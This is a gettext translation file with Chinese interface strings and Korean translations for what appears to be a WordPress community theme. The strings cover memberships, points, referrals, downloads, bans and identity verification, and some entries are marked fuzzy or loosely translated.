msgstr "원형 커버"

#: Pages/create-circle.php:155 functions.php:604 functions.php:634
#: functions.php:1149
#, php-format
msgid "%s名称"
msgstr "%s 이름"

#: Pages/create-circle.php:157
msgid "介于2-10个字之间"
msgstr "2-10 단어 사이"

#: Pages/create-circle.php:160
#, fuzzy, php-format
msgid "%s别名（英文名）"
msgstr "서클 별칭 (영어 이름)"

#: Pages/create-circle.php:162
#, fuzzy, php-format
msgid "会在%s网址中显示，一般为%s的英文名称或拼音，只要是字母即可"
msgstr ""
"서클 URL에 표시됩니다. 일반적으로 서클의 영어 이름 또는 병음 (문자 인 경우)"

#: Pages/create-circle.php:165
#, php-format
msgid "%s简介"
msgstr "%s소개"

#: Pages/create-circle.php:167
msgid "介于10-100个字之间"
msgstr "10-100 단어 사이"

#: Pages/dark-room.php:14
msgid "如果在这里，看到了你的名字，说明你已经被关进小黑屋了！"
msgstr "여기에 이름이 보이면 작은 검은 방에 갇혔다는 뜻입니다!"

#: Pages/dark-room.php:20
#, php-format
msgid "目前有%s个人%s在小黑屋里面壁思过"
msgstr "작은 검은 방에 그것에 대해 생각한 %s 명의 개인 %s이 있습니다."

#: Pages/dark-room.php:23
#, php-format
msgid "目前有%s个人%s在临时禁闭"
msgstr "현재 임시 감금에 %s 명의 개인 %s이 있습니다."

#: Pages/dark-room.php:26
#, php-format
msgid "目前有%s个人%s被永久关禁闭"
msgstr "현재 %s 명의 개인 %s은 영구적으로 잠겨 있습니다."

#: Pages/dark-room.php:30
msgid "所有禁闭"
msgstr "모든 구속"

#: Pages/dark-room.php:31
msgid "临时禁闭"
msgstr "임시 감금"

#: Pages/dark-room.php:32
msgid "永久禁闭"
msgstr "영구 감금"

#: Pages/dark-room.php:46
#, fuzzy, php-format
msgid "在 %s 被关小黑屋，"
msgstr "당신은 검은 방에 갇혀 있습니다"

#: Pages/dark-room.php:48
msgid "永久禁闭，不会释放！"
msgstr "영구 감금은 해제되지 않습니다!"

#: Pages/dark-room.php:51
#, php-format
msgid "将在 %s 释放！"
msgstr "%s에 출시됩니다!"

#: Pages/dark-room.php:54
msgid "禁闭原因："
msgstr "감금 이유 :"

#: Pages/directmessage.php:18
msgid "往来私信"
msgstr "메시지 목록"

#: Pages/directmessage.php:34
msgid "有未读消息"
msgstr "읽지 않은 메시지가 있습니다."

#: Pages/directmessage.php:52
msgid "您与"
msgstr "당신과"

#: Pages/directmessage.php:52
msgid "共有"
msgstr "총"

#: Pages/directmessage.php:52
msgid "条对话"
msgstr "개 대화"

#: Pages/directmessage.php:53
msgid "返回私信列表"
msgstr "메시지 목록으로 돌아가기"

#: Pages/directmessage.php:82
#, php-format
msgid "给%s发私信"
msgstr "%s 님에게 비공개 메시지 보내기"

#: Pages/distribution.php:16
msgid "您不是我们的合作伙伴，无法使用推广功能！"
msgstr "당신은 우리의 파트너가 아니므로 프로모션 기능을 사용할 수 없습니다!"

#: Pages/distribution.php:21
msgid "累积收益"
msgstr "누적수익"

#: Pages/distribution.php:23
msgid "累积收益 = 自己的推广收益 x 收益比例 + 合作伙伴的推广收益 x 收益比例。"
msgstr ""
"누적 수익 = 자체 프로모션 수익 x 수익 비율 + 파트너의 프로모션 수익 x 수익 비"
"율."

#: Pages/distribution.php:26
msgid "我的推广码"
msgstr "나의 프로모션 코드"

#: Pages/distribution.php:28
#, fuzzy, php-format
#| msgid ""
#| "当您在本站发布文章、快讯、圈子等内容的时候，会自动生成分享连接（或者二维"
#| "码），这个连接（二维码）自带您的推广码，可以分享给别人进行推广。您也可以将"
#| "在本站的任何网址后面加 %s 分享给其他人，那么他通过这个连接注册以后就自动成"
#| "为您的合作伙伴。"
msgid ""
"当您在本站发布文章、%s、%s等内容的时候，会自动生成分享连接（或者二维码），这"
"个连接（二维码）自带您的推广码，可以分享给别人进行推广。您也可以将在本站的任"
"何网址后面加 %s 分享给其他人，那么他通过这个连接注册以后就自动成为您的合作伙"
"伴。"
msgstr ""
"본 사이트에 기사, 속보, 서클 등의 콘텐츠를 게시할 경우 공유 링크(또는 QR코드)"
"이 자동으로 생성되며, 이 링크(QR코드)은 다른 사람에게 공유하여 홍보할 수 있"
"는 귀하의 프로모션 코드를 가지고 있습니다.사이트 주소 뒤에 %s를 추가하여 다"
"른 사용자에게 공유할 수도 있습니다.이 링크를 통해 가입하면 자동으로 당신의 파"
"트너가 됩니다."

#: Pages/distribution.php:31
msgid "生成推广连接"
msgstr "프로모션 링크 생성"

#: Pages/distribution.php:33
msgid "粘贴推广地址到此处"
msgstr "프로모션 주소를 여기에 붙여 넣기"

#: Pages/distribution.php:35
msgid "复制本站连接到此处，生成推广连接和二维码。"
msgstr ""
"이 사이트의 주소를 여기에 입력하여 프로모션 링크 및 QR 코드를 생성하십시오."

#: Pages/distribution.php:45
msgid "伙伴"
msgstr "파트너"

#: Pages/distribution.php:122
msgid "没有推广订单"
msgstr "프로모션 주문 없음"

#: Pages/distribution.php:129
msgid "我的合作伙伴"
msgstr "나의 파트너"

#: Pages/distribution.php:146
msgid "没有合作伙伴"
msgstr "파트너 없음"

#: Pages/distribution.php:171
msgid "下载推广二维码或复制推广连接"
msgstr "프로모션 QR 코드를 다운로드하거나 프로모션 링크를 복사하십시오."

#: Pages/distribution.php:176
msgid "扫码打开.png"
msgstr "스캔하여 페이지를 여십시오."

#: Pages/distribution.php:176
msgid "下载二维码"
msgstr "QR코드 다운로드"

#: Pages/distribution.php:182
msgid "复制连接"
msgstr "링크 복사"

#: Pages/download.php:70
msgid "没有下载权限，请"
msgstr "다운로드 권한이 없습니다."

#: Pages/download.php:75
msgid "评论之后下载"
msgstr "댓글 후 다운로드 하십시오."

#: Pages/download.php:78
msgid "支付积分以后下载"
msgstr "포인트 지불 후 다운로드 하십시오."

#: Pages/download.php:81
msgid "支付费用以后下载"
msgstr "요금을 지불한 후 다운로드 하십시오."

#: Pages/download.php:89
msgid "您有每天下载所有资源"
msgstr "매일 모든 자원을 다운로드 할수 있습니다."

#: Pages/download.php:89
msgid "次的特权，今日剩余"
msgstr "회의 특권, 오늘의 나머지"

#: Pages/download.php:91
msgid "已取得下载权限"
msgstr "다운로드 권한을 획득 했습니다."

#: Pages/download.php:95
msgid "提取码（点击复制）："
msgstr "해독 키 (클릭 복사)："

#: Pages/download.php:96
msgid "解压码（点击复制）："
msgstr "압축풀기 (클릭 복사)："

#: Pages/gold-top.php:16 Pages/gold-top.php:50 functions.php:1887
msgid "财富排行"
msgstr "재산 랭킹"

#: Pages/gold-top.php:19
msgid "我的财富 ❯"
msgstr "나의 지갑"

#: Pages/gold-top.php:34
msgid "认证会员"
msgstr "인증 회원"

#: Pages/gold-top.php:45
msgid "前20名"
msgstr "상위 20명"

#: Pages/gold.php:24 functions.php:2239
msgid "我的财富"
msgstr "나의 지갑"

#: Pages/gold.php:27
msgid "财富排行 ❯"
msgstr "재산 랭킹"

#: Pages/gold.php:34 Pages/gold.php:110
msgid "提现"
msgstr "현금 인출"

#: Pages/gold.php:52
msgid "积分记录"
msgstr "포인트 기록"

#: Pages/gold.php:55
#, fuzzy, php-format
msgid "%s记录"
msgstr "%s 레코드"

#: Pages/gold.php:68 User/orders.php:62
msgid "类型"
msgstr "유형"

#: Pages/gold.php:71
msgid "数额"
msgstr "액수"

#: Pages/gold.php:74
msgid "总额"
msgstr "총액"

#: Pages/gold.php:117
#, php-format
msgid "提现时本站会扣除%s的手续费"
msgstr "현금 인출시 %s의 수수료를 공제합니다."

#: Pages/gold.php:118
#, fuzzy, php-format
msgid "当前%s%s"
msgstr "현재 %s%"

#: Pages/gold.php:120
#, php-format
msgid "最小提现金额%s"
msgstr "현금 인출 최소 금액 %s"

#: Pages/gold.php:121 Pages/verify.php:141
msgid "提交申请"
msgstr "신청서 제출"

#: Pages/gold.php:126
msgid "申请成功"
msgstr "신청 성공"

#: Pages/gold.php:127
msgid "请确保前端个人中心已经上传了收款码，否则不能到账！"
msgstr ""
"소장 코드가 프런트 엔드 개인 센터에 업로드되었는지 확인하십시오. 그렇지 않으"
"면 계정을받을 수 없습니다!"

#: Pages/invitation.php:12
msgid "Token 过期或错误，请重新登录"
msgstr "토큰이 만료되었거나 잘못되었습니다. 다시 로그인하십시오."

#: Pages/link-register.php:15
msgid "请登录后再提交申请"
msgstr "신청서 제출"

#: Pages/link-register.php:21
msgid "您已提交成功，请等待审核通过"
msgstr "신청서를 성공적으로 제출했습니다. 검토 대기 중입니다 ..."

#: Pages/link-register.php:32
msgid "请选择图标"
msgstr "아이콘을 선택해 주세요"

#: Pages/link-register.php:37
msgid "网站名称"
msgstr "웹사이트 이름"

#: Pages/link-register.php:39
msgid "网站网址"
msgstr "웹 사이트 주소"

#: Pages/link-register.php:52
msgid "请选择入驻类别"
msgstr "참가 규칙을 선택하세요"

#: Pages/link-register.php:72
msgid "您有专属的网站介绍页面，请尽量详细描述您站点的相关信息！"
msgstr ""
"전용 웹사이트 소개 페이지가 있습니다. 귀하의 사이트에 대한 관련 정보를 가능"
"한 한 많이 설명하십시오!"

#: Pages/message.php:15
#, php-format
msgid "您有%s条新消息"
msgstr "%s개 새로운 소식이 있습니다."

#: Pages/mission.php:21
msgid "今日未签到"
msgstr "오늘 출석하지 않았습니다."

#: Pages/mission.php:23
msgid "立刻签到"
msgstr "바로 출석"

#: Pages/mission.php:28
msgid "连续签到："
msgstr "연속 출석:"

#: Pages/mission.php:30
msgid "填坑"
msgstr "채우기"

#: Pages/mission.php:34
msgid "填坑说明"
msgstr "채우기 설명"

#: Pages/mission.php:36
msgid "如果签到某一天中断，后面的所有签到不会计算在连续签到中"
msgstr ""
"만약 출첵이 중단되면, 뒤에 있는 모든 출첵은 연속 출첵에서 계산되지 않는다."

#: Pages/mission.php:37
msgid "如果连续签到有中断，您可以使用填坑功能将没有签到的天数补充完整。"
msgstr ""
"연속 체크인이 중단되면 채우기 기능을 사용하여 체크인되지 않은 일수를 보충할"
"수 있습니다."

#: Pages/mission.php:38
msgid ""
"填坑需要消耗积分，计算方法是：每日签到最高限x未签到的天数x倍数，比如每天签到"
"可随机获得50至100积分，有2两天没有签到，当前倍数为3,则最终需要支付积分"
"100x2x3=600积分。"
msgstr ""
"채우기를 사용하는데 포인트를 소모하고 계산 방법은: 매일 출석 최대 포인트 x "
"미 출석 일수 x3 입니다. 예를 들어 매일 출석하면 50에서 100포인트를 랜덤으로 "
"얻을수 있고 2일 출석하지 않으면 마지막에 포인트는 100 x 2 x 3 = 600 포인트 "
"를 지불해야 합니다."

#: Pages/mission.php:40
msgid "您目前不需要填坑。"
msgstr "채우기를 사용하면 포인트가 증가하지 않습니다."

#: Pages/mission.php:42
#, php-format
msgid ""
"您目前已经有%s天未签到，填坑倍数为%s，填坑需要支付%s积分，您当前的积分为%s。"
msgstr ""
"당신은 현재%s일 출석하지 않았습니다.채우기 배수는 %s이고, 채우기를 사용하려"
"면 %s포인트가 필요합니다. 현재 포인트는 %s입니다."

#: Pages/mission.php:56
msgid "每日签到"
msgstr "매일 출석 체크"

#: Pages/mission.php:59
msgid "连续签到排行"
msgstr "연속 출석 랭킹"

#: Pages/mission.php:84 functions.php:1879
msgid "签到管理"
msgstr "출석 관리"

#: Pages/open.php:10 Pages/social-login.php:8
msgid "拉取数据中，请不要关闭此页面..."
msgstr "데이터를 가져오는 중 입니다.이 페이지를 닫지 마십시오..."

#: Pages/open.php:15
msgid "填写邀请码，有好礼相送！"
msgstr "초대 코드를 입력하고 나눠주세요!"

#: Pages/open.php:15
msgid "注册必须使用邀请码"
msgstr "가입시 초대 코드를 사용해야 합니다."

#: Pages/open.php:34 Pages/social-login.php:13
msgid "返回"
msgstr "돌아가기"

#: Pages/pay.php:13
msgid "....订单创建中...."
msgstr "...주문서 생성 중..."

#: Pages/pay.php:20
msgid "....订单创建成功，数据交换中...."
msgstr "....주문서 생성 성공, 데이터 교환 중...."

#: Pages/pay.php:22
msgid "前往支付"
msgstr "결제하러 가기"

#: Pages/pay.php:28
msgid "....支付跳转中...."
msgstr "....결제 페이지로 이동 중...."

#: Pages/po-ask.php:14
#, fuzzy
#| msgid "请先登录"
msgid "请先登录再进行提问"
msgstr "먼저 로그인 하세요."

#: Pages/po-ask.php:18
msgid "您暂时无权提交问题，如果需要提问，您可以私信管理员"
msgstr ""
"현재로서는 질문을 제출할 권한이 없으며, 질문이 필요한 경우 관리자에게 비공개 "
"메시지를 보낼 수 있습니다."

#: Pages/po-ask.php:19
msgid "私信管理员"
msgstr "관리자에게 보내는 비공개 메시지"

#: Pages/po-ask.php:29
#, fuzzy
#| msgid "打赏"
msgid "悬赏"
msgstr "보상이 만료되었습니다."

#: Pages/po-ask.php:42 TempParts/circle/circle-form.php:303
msgid "请输入金额（直接填写金额数字最少1元）"
msgstr "금액을 입력하세요 (최소 1 위안 이상 직접 입력)"

#: Pages/po-ask.php:42 TempParts/circle/circle-form.php:303
msgid "请输入积分数额（整数）"
msgstr "점수 (정수)를 입력하세요."

#: Pages/po-ask.php:45
#, fuzzy, php-format
#| msgid "问题提交之后会立刻扣除相应的%s。"
msgid "问题提交之后会立刻扣除相应的积分。您的当前积分为：%s"
msgstr "해당  %s는 질문이 제출 된 후 즉시 공제됩니다."

#: Pages/po-ask.php:46
#, fuzzy, php-format
#| msgid "问题提交之后会立刻扣除相应的%s。"
msgid "问题提交之后会立刻扣除相应的%s。您的当前%s为：%s"
msgstr "해당  %s는 질문이 제출 된 후 즉시 공제됩니다."

#: Pages/po-ask.php:54 TempParts/circle/circle-form.php:318
msgid "请输入过期时间（天）"
msgstr "만료 시간 (일)을 입력하세요."

#: Pages/po-ask.php:58
#, fuzzy
#| msgid ""
#| "请直接填写数字，并且大于1小于30。%s如果没有回答被采纳，提问过期后会自动关"
#| "闭，然后对奖励进行结算。"
msgid ""
"请直接填写数字，并且大于1小于30。如果没有回答被采纳，提问过期后会自动关闭，然"
"后对奖励进行结算。"
msgstr ""
"숫자를 직접 입력하고 1보다 큰 경우 30 미만입니다.  %s 님이 응답하지 않고 수락"
"되면 질문이 만료 된 후 자동으로 종료되고 보상이 정산됩니다."

#: Pages/po-ask.php:75
msgid "请选择标签"
msgstr "태그를 선택하세요."

#: Pages/po-ask.php:94
msgid "请选择板块"
msgstr "보드를 선택하세요."

#: Pages/po-ask.php:288
#, fuzzy
#| msgid "搜索邀请码"
msgid "搜索邀请回答的用户"
msgstr "초대 코드 검색"

#: Pages/po-ask.php:309
#, fuzzy
#| msgid "没有找到此申请"
msgid "没有找到用户"
msgstr "이 응용 프로그램을 찾을 수 없습니다"

#: Pages/po-ask.php:310
#, fuzzy
#| msgid "请输入您要添加的用户昵称"
msgid "请输入您要搜索的用户昵称"
msgstr "추가하려는 사용자의 별명을 입력하십시오"

#: Pages/po-infomation.php:37
msgid "我要置顶"
msgstr "나는 최고를 원한다"

#: Pages/po-infomation.php:60
msgid "置顶设置："
msgstr "상위 설정:"

#: Pages/po-infomation.php:63
#, php-format
msgid "置顶价格为%s/天，您需要置顶几天？"
msgstr "스티칭 가격은 %s/일입니다. 스틱을 며칠 동안 유지해야 하나요?"

#: Pages/po-infomation.php:64
#, php-format
msgid "置顶价格为%s/天，置顶%s天，价格为%s。"
msgstr "최고 가격은 %s/일, 최고 가격은 %s일, 가격은 %s입니다."

#: Pages/po-infomation.php:67
msgid ""
"支付成功后，如果此贴不使用置顶，可在后续新帖中继续使用。支付成功后无法退款，"
"请考虑清楚后再付款。"
msgstr ""
"결제 성공 후 본 게시물이 고정을 사용하지 않는다면 다음 새 게시물에서 계속 사"
"용할 수 있습니다. 결제 성공 후 환불이 되지 않으니 신중히 고려하신 후 결제해주"
"시기 바랍니다."

#: Pages/po-infomation.php:70
#, php-format
msgid "您已支付%s，可以置顶%s天，该帖发布后立刻生效。"
msgstr ""
"%s에 대한 비용을 지불했으며 %s일 동안 고정할 수 있습니다. 게시물은 게시되는 "
"즉시 적용됩니다."

#: Pages/po-infomation.php:71
msgid "如果此贴不使用置顶，可在后续新帖中继续使用。"
msgstr ""
"이 게시물이 고정을 사용하지 않는다면 다음 새 게시물에서 계속 사용할 수 있습니"
"다."

#: Pages/po-infomation.php:77 TempParts/single-infomation.php:106
msgid "预计价格："
msgstr "추정 가격:"

#: Pages/po-infomation.php:79
msgid "例如：120"
msgstr "예: 120"

#: Pages/po-infomation.php:80
msgid "该商品的预计价格，可以留空。"
msgstr "항목의 예상 가격은 비워둘 수 있습니다."

#: Pages/po-infomation.php:84 TempParts/single-infomation.php:103
msgid "帖子有效期："
msgstr "포스트 만료일:"

#: Pages/po-infomation.php:86
msgid "例如：2"
msgstr "예: 2"

#: Pages/po-infomation.php:87
#, fuzzy
msgid "到期之后会隐藏联系方式，不能超过30天。留空则永不过期。"
msgstr ""
"만료 후 연락처 정보는 숨겨지며 30일을 초과할 수 없습니다. 만료되지 않으려면 "
"비워 둡니다."

#: Pages/po-infomation.php:91
msgid "联系方式："
msgstr "연락처:"

#: Pages/po-infomation.php:94
msgid "方式"
msgstr "결제 수단"

#: Pages/po-infomation.php:94
#, fuzzy
msgid "例如：QQ号"
msgstr "예: QQ 번호"

#: Pages/po-infomation.php:97
msgid "号码"
msgstr "신분증: "

#: Pages/po-infomation.php:97
#, fuzzy
msgid "例如：110613846"
msgstr "연락처 번호(예: 110613846)"

#: Pages/po-infomation.php:102
msgid "属性："
msgstr "상품 속성"

#: Pages/po-infomation.php:105
msgid "属性名"
msgstr "이름"

#: Pages/po-infomation.php:105
msgid "例如：数量"
msgstr "예: 수량"

#: Pages/po-infomation.php:108
msgid "属性值"
msgstr "상품 속성 값"

#: Pages/po-infomation.php:108
msgid "例如：100个"
msgstr "예: 100"

#: Pages/po-infomation.php:249 functions.php:2238
msgid "请选择分类"
msgstr "종류를 선택해주세요"

#: Pages/requests.php:24 functions.php:2240
msgid "我的工单"
msgstr "질문하기"

#: Pages/requests.php:24
msgid "一次提交一条，回复之后可再次提交！"
msgstr "한 번에 하나씩 제출하고 회신 후 다시 제출할 수 있습니다!"

#: Pages/requests.php:43
msgid "没有工单记录"
msgstr "질문 기록이 없습니다."

#: Pages/requests.php:45
msgid "工单"
msgstr "작업 순서"

#: Pages/requests.php:52
msgid "邮箱地址"
msgstr "이메일 주소"

#: Pages/requests.php:66
msgid "截图"
msgstr "캡처"

#: Pages/requests.php:68
msgid "请选择您的图片"
msgstr "사진을 선택하십시오."

#: Pages/return.php:29 Pages/xunhufail.php:9 Pages/xunhusuccess.php:9
msgid "关闭当前页面"
msgstr "현재 페이지 닫기"

#: Pages/return.php:29 Pages/xunhufail.php:9 Pages/xunhusuccess.php:9
msgid "查看我的订单列表"
msgstr "내 주문보기"

#: Pages/return.php:29 Pages/xunhufail.php:9 Pages/xunhusuccess.php:9
msgid "返回商品页"
msgstr "제품 페이지로 돌아 가기"

#: Pages/tags.php:11
msgid "热门标签"
msgstr "인기 태그"

#: Pages/tags.php:18
msgid "共"
msgstr "총"

#: Pages/task.php:30 Pages/task.php:49
msgid "奖励："
msgstr "보상："

#: Pages/task.php:39
msgid "新手任务"
msgstr "초보자 임무"

#: Pages/tastream.php:19
msgid "最近的动态"
msgstr "최근 활동"

#: Pages/verify.php:20 Sidebars/sidebar.php:13
msgid "说明"
msgstr "설명"

#: Pages/verify.php:24
msgid "认证信息"
msgstr "인증 정보"

#: Pages/verify.php:28
msgid "认证审核中"
msgstr "인증 검토"

#: Pages/verify.php:44
#, php-format
msgid "他们也在%s"
msgstr "그들도 %s에 있습니다."

#: Pages/verify.php:49
msgid "暂无认证用户"
msgstr "인증한 사용자가 없음"

#: Pages/verify.php:58
msgid "没有称号"
msgstr "칭호가 없습니다."

#: Pages/verify.php:65
msgid "立即申请"
msgstr "바로 신청"

#: Pages/verify.php:66
msgid "您已成功认证"
msgstr "성공적으로 인증되었습니다."

#: Pages/verify.php:71
msgid "您的认证正在审核中"
msgstr "인증을 검토 중입니다."

#: Pages/verify.php:72
msgid "您已认证成功"
msgstr "인증이 성공했습니다."

#: Pages/verify.php:76
msgid "给自己一个称号："
msgstr "호칭："

#: Pages/verify.php:78
msgid ""
"比如：汽车工程师、健康达人、财经分析师、二次元元老等有趣的称号（限制30个字以"
"内）"
msgstr ""
"예 : 자동차 엔지니어, 건강 전문가, 재무 분석가, 2 세대 베테랑과 같은 흥미로"
"운 직함 (30 자로 제한)"

#: Pages/verify.php:84
msgid "实名信息"
msgstr "실명 정보"

#: Pages/verify.php:86
msgid "真实姓名："
msgstr "실명: "

#: Pages/verify.php:87
msgid "身份证号码："
msgstr "신분증: "

#: Pages/verify.php:89
msgid "持证件证明照："
msgstr "증명사진: "

#: Pages/verify.php:92
msgid "上传中...."
msgstr "업로드 중 ...."

#: Pages/verify.php:92
msgid "点击上传"
msgstr "업로드하기"

#: Pages/verify.php:109
msgid "点击获取二维码"
msgstr "QR코드를 가져오려면 클릭하십시오."

#: Pages/verify.php:110 TempParts/single-infomation.php:109
msgid "状态："
msgstr "상태: "

#: Pages/verify.php:113
msgid "已入黑名单"
msgstr "이미 차단 되었습니다."

#: Pages/verify.php:114
msgid "秒后重新获取"
msgstr "초 후에 다시 가져옵니다."

#: Pages/verify.php:116
msgid "请长按二维码进入公众号"
msgstr "공식 계정으로 들어가려면 QR 코드를 길게 누르세요."

#: Pages/verify.php:119
#, php-format
msgid ""
"请扫码关注我们的公众号，%s如果取消关注将会拉黑名单，不再允许认证，认证也会失"
"效%s。"
msgstr ""
"공식 계정을 팔로우하려면 QR 코드를 스캔하세요.  %s가 언 팔로우하면 블랙리스트"
"에 추가되고 더 이상 인증이 허용되지 않으며 인증이 유효하지 않은  %s이됩니다."

#: Pages/verify.php:120
msgid "如果您已在黑名单里，希望再次认证，请联系管理员。"
msgstr ""
"이미 블랙리스트에 등록되어 있고 다시 인증하려면 관리자에게 문의하십시오."

#: Pages/verify.php:121
msgid ""
"如果您没有在站点绑定我们的微信登录，关注之后将会自动绑定微信登录，您可以使用"
"微信扫码登录网站。"
msgstr ""
"사이트에서 WeChat 로그인을 바인딩하지 않으면 WeChat 로그인이 자동으로 바인딩"
"되며 WeChat 스캔 코드를 사용하여 웹 사이트에 로그인 할 수 있습니다."

#: Pages/vips.php:18
msgid "已加入"
msgstr " 이미 가입했습니다."

#: Pages/vips.php:18 TempParts/circle/circle-topic-content.php:294
#: TempParts/circle/circle-topic-content.php:327
msgid "人"
msgstr "명이"

#: Pages/vips.php:19 Pages/vips.php:104
msgid "续签会员"
msgstr "재가입"

#: Pages/vips.php:19 Pages/vips.php:104
msgid "立刻加入"
msgstr "지금 가입하세요."

#: Pages/vips.php:26
msgid "您当前为游客，请登录以后操作"
msgstr "계속 하려면 로그인하십시오."

#: Pages/vips.php:29
msgid "您当前为普通用户，推荐升级成高级会员！"
msgstr "현재 일반 유저 입니다. 고급 회원으로 업그레이드 추천 합니다!"

#: Pages/vips.php:32
#, php-format
msgid "您当前为%s用户，有效期至：%s"
msgstr "귀하는 현재 %s 사용자이며 유효 기간: %s"

#: Pages/vips.php:32 Pages/vips.php:45
msgid "终身"
msgstr "평생"

#: Pages/vips.php:50
msgid "查看所有隐藏内容"
msgstr "전체 숨겨진 내용 보기"

#: Pages/vips.php:59 Pages/vips.php:64
#, fuzzy
#| msgid "免费下载资源"
msgid "免费下载所有资源"
msgstr "리소스 무료 다운로드"

#: Pages/vips.php:60
msgid "次/天"
msgstr "회/일"

#: Pages/vips.php:61
msgid "无限制次数"
msgstr "무제한 시간"

#: Pages/vips.php:74 Pages/vips.php:78
msgid "免费查看所有付费视频"
msgstr "모든 유료 동영상을 무료로 보기"

#: Pages/vips.php:90
msgid "享受专属打折商品"
msgstr "독점 할인 상품을 즐기십시오"

#: Pages/vips.php:109
msgid "常见问题"
msgstr "일반적인 문제"

#: Pages/vips.php:110
msgid "FAQ"
msgstr "자주하는 질문"

#: Pages/vips.php:113
msgid "开通VIP的好处？"
msgstr "VIP의 혜택은?"

#: Pages/vips.php:114
msgid ""
"VIP会员根据等级在相应的有效期内享有本站所有资源免费下载资源的权力，免费查看隐"
"藏内容的权力，免费查看视频的权力，同时本站商品还会获得打折价格，并且拥有其他"
"特殊的权力。"
msgstr ""
"VIP 회원은 등급에 따라 해당 유효 기간 동안 본 사이트의 모든 리소스를 무료로 "
"다운로드 받을 수 있는 권한, 숨겨진 콘텐츠를 무료로 볼 수 있는 권한, 동영상을 "
"무료로 볼 수 있는 권한과 함께 본 사이트의 상품에 대한 할인을 받을 수 있습니"
"다."

#: Pages/vips.php:117
msgid "VIP资源需要单独购买吗？"
msgstr "VIP 리소스를 별도로 구입해야 합니까?"

#: Pages/vips.php:118
msgid ""
"不同的VIP拥有不同的权限，通常VIP会员拥有免费资格享受各种资源的权力，但不排除"
"某些特殊情况。"
msgstr ""
"VIP의 등급에 따라 서로 다른 권한을 가지며, 보통 VIP 회원은 여러 리소스를 누"
"릴 수 있는 무료 자격을 가지지만 어떤 특별한 경우를 배제하지는 않습니다."

#: Pages/vips.php:121
msgid "VIP会员是否无限次下载资源？"
msgstr "VIP 회원이 리소스를 무한정 다운로드할수 있습니까?"

#: Pages/vips.php:122
msgid ""
"在遵守VIP会员协议前提下，VIP会员在会员有效期内可以下载所有免费和VIP资源。"
msgstr ""
"VIP 회원 협약을 준수한다는 전제 하에 VIP 회원은 회원 유효 기간 동안 모든 무료"
"와 VIP 리소스를 다운로드할 수 있습니다."

#: Pages/vips.php:125
msgid "是否可以与他人分享VIP会员账号？"
msgstr "VIP 회원 계정을 다른 사람과 공유할 수 있습니까?"

#: Pages/vips.php:126
msgid "一个VIP账号仅限一个人使用，禁止与他人分享账号，一经发现做永久封号处理。"
msgstr ""
"하나의 VIP 계정은 한 사람에게만 사용할 수 있으며 다른 사람과 계정을 공유하는 "
"것이 금지되며, 발견되면 영구 차단 처리됩니다."

#: Pages/vips.php:129
msgid "是否可以申请退款？"
msgstr "환불 신청이 가능한지요?"

#: Pages/vips.php:130
msgid ""
"VIP会员属于虚拟服务，付款后不能够申请退款。如付款前有任何疑问，联系站长处理"
msgstr ""
"VIP 회원은 가상 서비스에 속하며, 결제후에는 환불을 신청할 수 없습니다.결제하"
"기 전에 궁금한 점이 있으면 관리자에게 문의하십시오."

#: Pages/vips.php:133
msgid "遇到付款失败，付款后没有生效怎么办？"
msgstr "결제에 실패, 결제 후에도 적용되지 않으면 어떻게 해야합니까?"

#: Pages/vips.php:134
msgid ""
"理论上来说正常付款后不会出现此类问题，但是也会有部分用户因为网络等原因导致在"
"付款的过程中会有一些小插曲，如果出现类似问题，大可不必惊慌，本站所有支付都会"
"生成订单，不管成功还是失败，所以如果真正遇到网络问题导致付款失败您又不知道是"
"否成功，请查看自己的个人中心的订单管理，截图联系管理员处理。"
msgstr ""
"이론상 이러한 문제는 정상적인 결제 후에는 발생하지 않지만 일부 사용자는 네트"
"워크 및 기타 이유로 인해 결제 과정에서 일부 에피소드가 발생할 수 있습니다. 유"
"사한 문제가 발생하더라도 당황하지 마십시오.이 사이트의 모든 결제는 성공 여부"
"에 관계없이 주문을 생성하므로 결제 실패를 유발하는 네트워크 문제가 실제로 발"
"생하고 성공 여부를 모르는 경우 개인 센터에서 주문 관리를 확인하고 관리자에게 "
"스크린 샷을 문의하십시오."

#: Pages/write.php:23
msgid "文章编辑过期，请返回重新发起编辑"
msgstr "편집 기한이 만료되었습니다. 돌아가서 다시 편집을 시작하십시오."

#: Pages/write.php:25
msgid "文章不存在"
msgstr "기사가 존재하지 않습니다."

#: Pages/write.php:198
msgid "请不要关闭此页，身份核实中..."
msgstr "이 페이지를 닫지 마십시오. 인증 중 입니다."

#: Pages/write.php:208
msgid "您还未获得发布文章的权限，请联系管理员"
msgstr "글을 쓸수 있는 권한이 없습니다. 관리자에게 연락 하십시오."

#: Pages/write.php:213
msgid "添加题图"
msgstr "썹네일 추가"

#: Pages/write.php:451
#, fuzzy
#| msgid "添加下载模版"
msgid "添加下载附件"
msgstr "다운로드 템플릿 추가"

#: Pages/write.php:468
#, fuzzy
#| msgid "默认缩略图"
msgid "缩略图"
msgstr "축소판 비율"

#: Pages/write.php:479 functions.php:2231
#, fuzzy
#| msgid "下载权限"
msgid "请添加下载权限"
msgstr "다운로드 권한"

#: Pages/write.php:490
#, fuzzy
#| msgid "请输入金额"
msgid "请输入金额(单位：元)"
msgstr "금액을 직접 입력하세요"

#: Pages/write.php:490
#, fuzzy
#| msgid "请输入积分数额（整数）"
msgid "请输入积分（正整数）"
msgstr "점수 (정수)를 입력하세요."

#: Pages/write.php:491 Pages/write.php:511 User/settings.php:93
msgid "添加"
msgstr "추가"

#: Pages/write.php:497
#, fuzzy
msgid "平台"
msgstr "WeChat 판매자 플랫폼-> 판매자 정보-> 기본 정보-> 판매자 ID 입력,"

#: Pages/write.php:498
#, fuzzy
#| msgid "导航链接"
msgid "链接"
msgstr "서브링크 카테고리"

#: Pages/write.php:503
msgid "例：百度网盘"
msgstr "예: Baidu.com"

#: Pages/write.php:504
msgid "例：https://pan.baidu.com/s/1"
msgstr "예: https://pan.baidu.com/s/1"

#: Pages/write.php:505
msgid "例：123456"
msgstr "예: 123456"

#: Pages/write.php:507
msgid "例：oa2d9"
msgstr "예: oa2d9"

#: Pages/write.php:514
msgid "演示地址（比如软件的官网，或者软件的说明网址）"
msgstr "데모 주소(예: 소프트웨어의 공식 웹사이트 또는 소프트웨어 설명 URL)"

#: Pages/write.php:518
msgid "资源属性（格式为：属性名|属性值，比如 格式|zip。每个属性占一行）"
msgstr ""
"리소스 속성(형식: 속성 이름|속성 값(예: format|zip. 각 속성은 한 줄을 차지합"
"니다.)"

#: Pages/write.php:570
msgid "如果您的文章是转载的，请在这里注明来源。"
msgstr "귀하의 기사가 다시 인쇄되는 경우 여기에 출처를 표시하십시오."

#: Pages/write.php:573
msgid "来源网址"
msgstr "출처:"

